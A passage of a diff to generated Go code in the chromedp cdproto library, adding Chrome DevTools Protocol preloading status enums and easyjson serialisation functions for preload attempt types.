PrerenderFinalStatusStop PrerenderFinalStatus = "Stop"
|
||||
PrerenderFinalStatusSslCertificateError PrerenderFinalStatus = "SslCertificateError"
|
||||
PrerenderFinalStatusLoginAuthRequested PrerenderFinalStatus = "LoginAuthRequested"
|
||||
PrerenderFinalStatusUaChangeRequiresReload PrerenderFinalStatus = "UaChangeRequiresReload"
|
||||
PrerenderFinalStatusBlockedByClient PrerenderFinalStatus = "BlockedByClient"
|
||||
PrerenderFinalStatusAudioOutputDeviceRequested PrerenderFinalStatus = "AudioOutputDeviceRequested"
|
||||
PrerenderFinalStatusMixedContent PrerenderFinalStatus = "MixedContent"
|
||||
PrerenderFinalStatusTriggerBackgrounded PrerenderFinalStatus = "TriggerBackgrounded"
|
||||
PrerenderFinalStatusEmbedderTriggeredAndCrossOriginRedirected PrerenderFinalStatus = "EmbedderTriggeredAndCrossOriginRedirected"
|
||||
PrerenderFinalStatusMemoryLimitExceeded PrerenderFinalStatus = "MemoryLimitExceeded"
|
||||
PrerenderFinalStatusFailToGetMemoryUsage PrerenderFinalStatus = "FailToGetMemoryUsage"
|
||||
PrerenderFinalStatusDataSaverEnabled PrerenderFinalStatus = "DataSaverEnabled"
|
||||
PrerenderFinalStatusHasEffectiveURL PrerenderFinalStatus = "HasEffectiveUrl"
|
||||
PrerenderFinalStatusActivatedBeforeStarted PrerenderFinalStatus = "ActivatedBeforeStarted"
|
||||
PrerenderFinalStatusInactivePageRestriction PrerenderFinalStatus = "InactivePageRestriction"
|
||||
PrerenderFinalStatusStartFailed PrerenderFinalStatus = "StartFailed"
|
||||
PrerenderFinalStatusTimeoutBackgrounded PrerenderFinalStatus = "TimeoutBackgrounded"
|
||||
PrerenderFinalStatusCrossSiteRedirect PrerenderFinalStatus = "CrossSiteRedirect"
|
||||
PrerenderFinalStatusCrossSiteNavigation PrerenderFinalStatus = "CrossSiteNavigation"
|
||||
PrerenderFinalStatusSameSiteCrossOriginRedirect PrerenderFinalStatus = "SameSiteCrossOriginRedirect"
|
||||
PrerenderFinalStatusSameSiteCrossOriginNavigation PrerenderFinalStatus = "SameSiteCrossOriginNavigation"
|
||||
PrerenderFinalStatusSameSiteCrossOriginRedirectNotOptIn PrerenderFinalStatus = "SameSiteCrossOriginRedirectNotOptIn"
|
||||
PrerenderFinalStatusSameSiteCrossOriginNavigationNotOptIn PrerenderFinalStatus = "SameSiteCrossOriginNavigationNotOptIn"
|
||||
PrerenderFinalStatusActivationNavigationParameterMismatch PrerenderFinalStatus = "ActivationNavigationParameterMismatch"
|
||||
PrerenderFinalStatusActivatedInBackground PrerenderFinalStatus = "ActivatedInBackground"
|
||||
PrerenderFinalStatusEmbedderHostDisallowed PrerenderFinalStatus = "EmbedderHostDisallowed"
|
||||
PrerenderFinalStatusActivationNavigationDestroyedBeforeSuccess PrerenderFinalStatus = "ActivationNavigationDestroyedBeforeSuccess"
|
||||
PrerenderFinalStatusTabClosedByUserGesture PrerenderFinalStatus = "TabClosedByUserGesture"
|
||||
PrerenderFinalStatusTabClosedWithoutUserGesture PrerenderFinalStatus = "TabClosedWithoutUserGesture"
|
||||
PrerenderFinalStatusPrimaryMainFrameRendererProcessCrashed PrerenderFinalStatus = "PrimaryMainFrameRendererProcessCrashed"
|
||||
PrerenderFinalStatusPrimaryMainFrameRendererProcessKilled PrerenderFinalStatus = "PrimaryMainFrameRendererProcessKilled"
|
||||
PrerenderFinalStatusActivationFramePolicyNotCompatible PrerenderFinalStatus = "ActivationFramePolicyNotCompatible"
|
||||
PrerenderFinalStatusPreloadingDisabled PrerenderFinalStatus = "PreloadingDisabled"
|
||||
PrerenderFinalStatusBatterySaverEnabled PrerenderFinalStatus = "BatterySaverEnabled"
|
||||
PrerenderFinalStatusActivatedDuringMainFrameNavigation PrerenderFinalStatus = "ActivatedDuringMainFrameNavigation"
|
||||
PrerenderFinalStatusPreloadingUnsupportedByWebContents PrerenderFinalStatus = "PreloadingUnsupportedByWebContents"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t PrerenderFinalStatus) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t PrerenderFinalStatus) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PrerenderFinalStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch PrerenderFinalStatus(v) {
|
||||
case PrerenderFinalStatusActivated:
|
||||
*t = PrerenderFinalStatusActivated
|
||||
case PrerenderFinalStatusDestroyed:
|
||||
*t = PrerenderFinalStatusDestroyed
|
||||
case PrerenderFinalStatusLowEndDevice:
|
||||
*t = PrerenderFinalStatusLowEndDevice
|
||||
case PrerenderFinalStatusInvalidSchemeRedirect:
|
||||
*t = PrerenderFinalStatusInvalidSchemeRedirect
|
||||
case PrerenderFinalStatusInvalidSchemeNavigation:
|
||||
*t = PrerenderFinalStatusInvalidSchemeNavigation
|
||||
case PrerenderFinalStatusInProgressNavigation:
|
||||
*t = PrerenderFinalStatusInProgressNavigation
|
||||
case PrerenderFinalStatusNavigationRequestBlockedByCsp:
|
||||
*t = PrerenderFinalStatusNavigationRequestBlockedByCsp
|
||||
case PrerenderFinalStatusMainFrameNavigation:
|
||||
*t = PrerenderFinalStatusMainFrameNavigation
|
||||
case PrerenderFinalStatusMojoBinderPolicy:
|
||||
*t = PrerenderFinalStatusMojoBinderPolicy
|
||||
case PrerenderFinalStatusRendererProcessCrashed:
|
||||
*t = PrerenderFinalStatusRendererProcessCrashed
|
||||
case PrerenderFinalStatusRendererProcessKilled:
|
||||
*t = PrerenderFinalStatusRendererProcessKilled
|
||||
case PrerenderFinalStatusDownload:
|
||||
*t = PrerenderFinalStatusDownload
|
||||
case PrerenderFinalStatusTriggerDestroyed:
|
||||
*t = PrerenderFinalStatusTriggerDestroyed
|
||||
case PrerenderFinalStatusNavigationNotCommitted:
|
||||
*t = PrerenderFinalStatusNavigationNotCommitted
|
||||
case PrerenderFinalStatusNavigationBadHTTPStatus:
|
||||
*t = PrerenderFinalStatusNavigationBadHTTPStatus
|
||||
case PrerenderFinalStatusClientCertRequested:
|
||||
*t = PrerenderFinalStatusClientCertRequested
|
||||
case PrerenderFinalStatusNavigationRequestNetworkError:
|
||||
*t = PrerenderFinalStatusNavigationRequestNetworkError
|
||||
case PrerenderFinalStatusMaxNumOfRunningPrerendersExceeded:
|
||||
*t = PrerenderFinalStatusMaxNumOfRunningPrerendersExceeded
|
||||
case PrerenderFinalStatusCancelAllHostsForTesting:
|
||||
*t = PrerenderFinalStatusCancelAllHostsForTesting
|
||||
case PrerenderFinalStatusDidFailLoad:
|
||||
*t = PrerenderFinalStatusDidFailLoad
|
||||
case PrerenderFinalStatusStop:
|
||||
*t = PrerenderFinalStatusStop
|
||||
case PrerenderFinalStatusSslCertificateError:
|
||||
*t = PrerenderFinalStatusSslCertificateError
|
||||
case PrerenderFinalStatusLoginAuthRequested:
|
||||
*t = PrerenderFinalStatusLoginAuthRequested
|
||||
case PrerenderFinalStatusUaChangeRequiresReload:
|
||||
*t = PrerenderFinalStatusUaChangeRequiresReload
|
||||
case PrerenderFinalStatusBlockedByClient:
|
||||
*t = PrerenderFinalStatusBlockedByClient
|
||||
case PrerenderFinalStatusAudioOutputDeviceRequested:
|
||||
*t = PrerenderFinalStatusAudioOutputDeviceRequested
|
||||
case PrerenderFinalStatusMixedContent:
|
||||
*t = PrerenderFinalStatusMixedContent
|
||||
case PrerenderFinalStatusTriggerBackgrounded:
|
||||
*t = PrerenderFinalStatusTriggerBackgrounded
|
||||
case PrerenderFinalStatusEmbedderTriggeredAndCrossOriginRedirected:
|
||||
*t = PrerenderFinalStatusEmbedderTriggeredAndCrossOriginRedirected
|
||||
case PrerenderFinalStatusMemoryLimitExceeded:
|
||||
*t = PrerenderFinalStatusMemoryLimitExceeded
|
||||
case PrerenderFinalStatusFailToGetMemoryUsage:
|
||||
*t = PrerenderFinalStatusFailToGetMemoryUsage
|
||||
case PrerenderFinalStatusDataSaverEnabled:
|
||||
*t = PrerenderFinalStatusDataSaverEnabled
|
||||
case PrerenderFinalStatusHasEffectiveURL:
|
||||
*t = PrerenderFinalStatusHasEffectiveURL
|
||||
case PrerenderFinalStatusActivatedBeforeStarted:
|
||||
*t = PrerenderFinalStatusActivatedBeforeStarted
|
||||
case PrerenderFinalStatusInactivePageRestriction:
|
||||
*t = PrerenderFinalStatusInactivePageRestriction
|
||||
case PrerenderFinalStatusStartFailed:
|
||||
*t = PrerenderFinalStatusStartFailed
|
||||
case PrerenderFinalStatusTimeoutBackgrounded:
|
||||
*t = PrerenderFinalStatusTimeoutBackgrounded
|
||||
case PrerenderFinalStatusCrossSiteRedirect:
|
||||
*t = PrerenderFinalStatusCrossSiteRedirect
|
||||
case PrerenderFinalStatusCrossSiteNavigation:
|
||||
*t = PrerenderFinalStatusCrossSiteNavigation
|
||||
case PrerenderFinalStatusSameSiteCrossOriginRedirect:
|
||||
*t = PrerenderFinalStatusSameSiteCrossOriginRedirect
|
||||
case PrerenderFinalStatusSameSiteCrossOriginNavigation:
|
||||
*t = PrerenderFinalStatusSameSiteCrossOriginNavigation
|
||||
case PrerenderFinalStatusSameSiteCrossOriginRedirectNotOptIn:
|
||||
*t = PrerenderFinalStatusSameSiteCrossOriginRedirectNotOptIn
|
||||
case PrerenderFinalStatusSameSiteCrossOriginNavigationNotOptIn:
|
||||
*t = PrerenderFinalStatusSameSiteCrossOriginNavigationNotOptIn
|
||||
case PrerenderFinalStatusActivationNavigationParameterMismatch:
|
||||
*t = PrerenderFinalStatusActivationNavigationParameterMismatch
|
||||
case PrerenderFinalStatusActivatedInBackground:
|
||||
*t = PrerenderFinalStatusActivatedInBackground
|
||||
case PrerenderFinalStatusEmbedderHostDisallowed:
|
||||
*t = PrerenderFinalStatusEmbedderHostDisallowed
|
||||
case PrerenderFinalStatusActivationNavigationDestroyedBeforeSuccess:
|
||||
*t = PrerenderFinalStatusActivationNavigationDestroyedBeforeSuccess
|
||||
case PrerenderFinalStatusTabClosedByUserGesture:
|
||||
*t = PrerenderFinalStatusTabClosedByUserGesture
|
||||
case PrerenderFinalStatusTabClosedWithoutUserGesture:
|
||||
*t = PrerenderFinalStatusTabClosedWithoutUserGesture
|
||||
case PrerenderFinalStatusPrimaryMainFrameRendererProcessCrashed:
|
||||
*t = PrerenderFinalStatusPrimaryMainFrameRendererProcessCrashed
|
||||
case PrerenderFinalStatusPrimaryMainFrameRendererProcessKilled:
|
||||
*t = PrerenderFinalStatusPrimaryMainFrameRendererProcessKilled
|
||||
case PrerenderFinalStatusActivationFramePolicyNotCompatible:
|
||||
*t = PrerenderFinalStatusActivationFramePolicyNotCompatible
|
||||
case PrerenderFinalStatusPreloadingDisabled:
|
||||
*t = PrerenderFinalStatusPreloadingDisabled
|
||||
case PrerenderFinalStatusBatterySaverEnabled:
|
||||
*t = PrerenderFinalStatusBatterySaverEnabled
|
||||
case PrerenderFinalStatusActivatedDuringMainFrameNavigation:
|
||||
*t = PrerenderFinalStatusActivatedDuringMainFrameNavigation
|
||||
case PrerenderFinalStatusPreloadingUnsupportedByWebContents:
|
||||
*t = PrerenderFinalStatusPreloadingUnsupportedByWebContents
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown PrerenderFinalStatus value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *PrerenderFinalStatus) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// PreloadingStatus preloading status values, see also
|
||||
// PreloadingTriggeringOutcome. This status is shared by prefetchStatusUpdated
|
||||
// and prerenderStatusUpdated.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#type-PreloadingStatus
|
||||
type PreloadingStatus string
|
||||
|
||||
// String returns the PreloadingStatus as string value.
|
||||
func (t PreloadingStatus) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// PreloadingStatus values.
|
||||
const (
|
||||
PreloadingStatusPending PreloadingStatus = "Pending"
|
||||
PreloadingStatusRunning PreloadingStatus = "Running"
|
||||
PreloadingStatusReady PreloadingStatus = "Ready"
|
||||
PreloadingStatusSuccess PreloadingStatus = "Success"
|
||||
PreloadingStatusFailure PreloadingStatus = "Failure"
|
||||
PreloadingStatusNotSupported PreloadingStatus = "NotSupported"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t PreloadingStatus) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t PreloadingStatus) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PreloadingStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch PreloadingStatus(v) {
|
||||
case PreloadingStatusPending:
|
||||
*t = PreloadingStatusPending
|
||||
case PreloadingStatusRunning:
|
||||
*t = PreloadingStatusRunning
|
||||
case PreloadingStatusReady:
|
||||
*t = PreloadingStatusReady
|
||||
case PreloadingStatusSuccess:
|
||||
*t = PreloadingStatusSuccess
|
||||
case PreloadingStatusFailure:
|
||||
*t = PreloadingStatusFailure
|
||||
case PreloadingStatusNotSupported:
|
||||
*t = PreloadingStatusNotSupported
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown PreloadingStatus value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *PreloadingStatus) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// FileChooserOpenedMode input mode.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#event-fileChooserOpened
|
||||
|
||||
+719
-24
@@ -5,6 +5,7 @@ package preload
|
||||
import (
|
||||
json "encoding/json"
|
||||
cdp "github.com/chromedp/cdproto/cdp"
|
||||
network "github.com/chromedp/cdproto/network"
|
||||
easyjson "github.com/mailru/easyjson"
|
||||
jlexer "github.com/mailru/easyjson/jlexer"
|
||||
jwriter "github.com/mailru/easyjson/jwriter"
|
||||
@@ -43,6 +44,14 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload(in *jlexer.Lexer, out
|
||||
out.LoaderID = cdp.LoaderID(in.String())
|
||||
case "sourceText":
|
||||
out.SourceText = string(in.String())
|
||||
case "backendNodeId":
|
||||
(out.BackendNodeID).UnmarshalEasyJSON(in)
|
||||
case "url":
|
||||
out.URL = string(in.String())
|
||||
case "requestId":
|
||||
out.RequestID = network.RequestID(in.String())
|
||||
case "errorType":
|
||||
(out.ErrorType).UnmarshalEasyJSON(in)
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -72,6 +81,26 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload(out *jwriter.Writer,
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.SourceText))
|
||||
}
|
||||
if in.BackendNodeID != 0 {
|
||||
const prefix string = ",\"backendNodeId\":"
|
||||
out.RawString(prefix)
|
||||
out.Int64(int64(in.BackendNodeID))
|
||||
}
|
||||
if in.URL != "" {
|
||||
const prefix string = ",\"url\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.URL))
|
||||
}
|
||||
if in.RequestID != "" {
|
||||
const prefix string = ",\"requestId\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.RequestID))
|
||||
}
|
||||
if in.ErrorType != "" {
|
||||
const prefix string = ",\"errorType\":"
|
||||
out.RawString(prefix)
|
||||
(in.ErrorType).MarshalEasyJSON(out)
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
@@ -98,7 +127,250 @@ func (v *RuleSet) UnmarshalJSON(data []byte) error {
|
||||
func (v *RuleSet) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload1(in *jlexer.Lexer, out *EventRuleSetUpdated) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload1(in *jlexer.Lexer, out *IngAttemptSource) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "key":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.Key = nil
|
||||
} else {
|
||||
if out.Key == nil {
|
||||
out.Key = new(IngAttemptKey)
|
||||
}
|
||||
(*out.Key).UnmarshalEasyJSON(in)
|
||||
}
|
||||
case "ruleSetIds":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.RuleSetIDs = nil
|
||||
} else {
|
||||
in.Delim('[')
|
||||
if out.RuleSetIDs == nil {
|
||||
if !in.IsDelim(']') {
|
||||
out.RuleSetIDs = make([]RuleSetID, 0, 4)
|
||||
} else {
|
||||
out.RuleSetIDs = []RuleSetID{}
|
||||
}
|
||||
} else {
|
||||
out.RuleSetIDs = (out.RuleSetIDs)[:0]
|
||||
}
|
||||
for !in.IsDelim(']') {
|
||||
var v1 RuleSetID
|
||||
v1 = RuleSetID(in.String())
|
||||
out.RuleSetIDs = append(out.RuleSetIDs, v1)
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim(']')
|
||||
}
|
||||
case "nodeIds":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.NodeIDs = nil
|
||||
} else {
|
||||
in.Delim('[')
|
||||
if out.NodeIDs == nil {
|
||||
if !in.IsDelim(']') {
|
||||
out.NodeIDs = make([]cdp.BackendNodeID, 0, 8)
|
||||
} else {
|
||||
out.NodeIDs = []cdp.BackendNodeID{}
|
||||
}
|
||||
} else {
|
||||
out.NodeIDs = (out.NodeIDs)[:0]
|
||||
}
|
||||
for !in.IsDelim(']') {
|
||||
var v2 cdp.BackendNodeID
|
||||
(v2).UnmarshalEasyJSON(in)
|
||||
out.NodeIDs = append(out.NodeIDs, v2)
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim(']')
|
||||
}
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload1(out *jwriter.Writer, in IngAttemptSource) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"key\":"
|
||||
out.RawString(prefix[1:])
|
||||
if in.Key == nil {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
(*in.Key).MarshalEasyJSON(out)
|
||||
}
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"ruleSetIds\":"
|
||||
out.RawString(prefix)
|
||||
if in.RuleSetIDs == nil && (out.Flags&jwriter.NilSliceAsEmpty) == 0 {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
out.RawByte('[')
|
||||
for v3, v4 := range in.RuleSetIDs {
|
||||
if v3 > 0 {
|
||||
out.RawByte(',')
|
||||
}
|
||||
out.String(string(v4))
|
||||
}
|
||||
out.RawByte(']')
|
||||
}
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"nodeIds\":"
|
||||
out.RawString(prefix)
|
||||
if in.NodeIDs == nil && (out.Flags&jwriter.NilSliceAsEmpty) == 0 {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
out.RawByte('[')
|
||||
for v5, v6 := range in.NodeIDs {
|
||||
if v5 > 0 {
|
||||
out.RawByte(',')
|
||||
}
|
||||
out.Int64(int64(v6))
|
||||
}
|
||||
out.RawByte(']')
|
||||
}
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v IngAttemptSource) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload1(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v IngAttemptSource) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload1(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *IngAttemptSource) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload1(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *IngAttemptSource) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload1(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload2(in *jlexer.Lexer, out *IngAttemptKey) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "loaderId":
|
||||
out.LoaderID = cdp.LoaderID(in.String())
|
||||
case "action":
|
||||
(out.Action).UnmarshalEasyJSON(in)
|
||||
case "url":
|
||||
out.URL = string(in.String())
|
||||
case "targetHint":
|
||||
(out.TargetHint).UnmarshalEasyJSON(in)
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload2(out *jwriter.Writer, in IngAttemptKey) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"loaderId\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.LoaderID))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"action\":"
|
||||
out.RawString(prefix)
|
||||
(in.Action).MarshalEasyJSON(out)
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"url\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.URL))
|
||||
}
|
||||
if in.TargetHint != "" {
|
||||
const prefix string = ",\"targetHint\":"
|
||||
out.RawString(prefix)
|
||||
(in.TargetHint).MarshalEasyJSON(out)
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v IngAttemptKey) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload2(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v IngAttemptKey) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload2(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *IngAttemptKey) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload2(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *IngAttemptKey) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload2(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload3(in *jlexer.Lexer, out *EventRuleSetUpdated) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -137,7 +409,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload1(in *jlexer.Lexer, ou
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload1(out *jwriter.Writer, in EventRuleSetUpdated) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload3(out *jwriter.Writer, in EventRuleSetUpdated) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -156,27 +428,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload1(out *jwriter.Writer,
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EventRuleSetUpdated) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload1(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload3(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EventRuleSetUpdated) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload1(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload3(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EventRuleSetUpdated) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload1(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload3(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EventRuleSetUpdated) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload1(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload3(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload2(in *jlexer.Lexer, out *EventRuleSetRemoved) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload4(in *jlexer.Lexer, out *EventRuleSetRemoved) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -207,7 +479,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload2(in *jlexer.Lexer, ou
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload2(out *jwriter.Writer, in EventRuleSetRemoved) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload4(out *jwriter.Writer, in EventRuleSetRemoved) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -222,27 +494,450 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload2(out *jwriter.Writer,
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EventRuleSetRemoved) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload2(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload4(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EventRuleSetRemoved) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload2(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoPreload4(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EventRuleSetRemoved) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload2(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload4(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EventRuleSetRemoved) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoPreload2(l, v)
|
||||
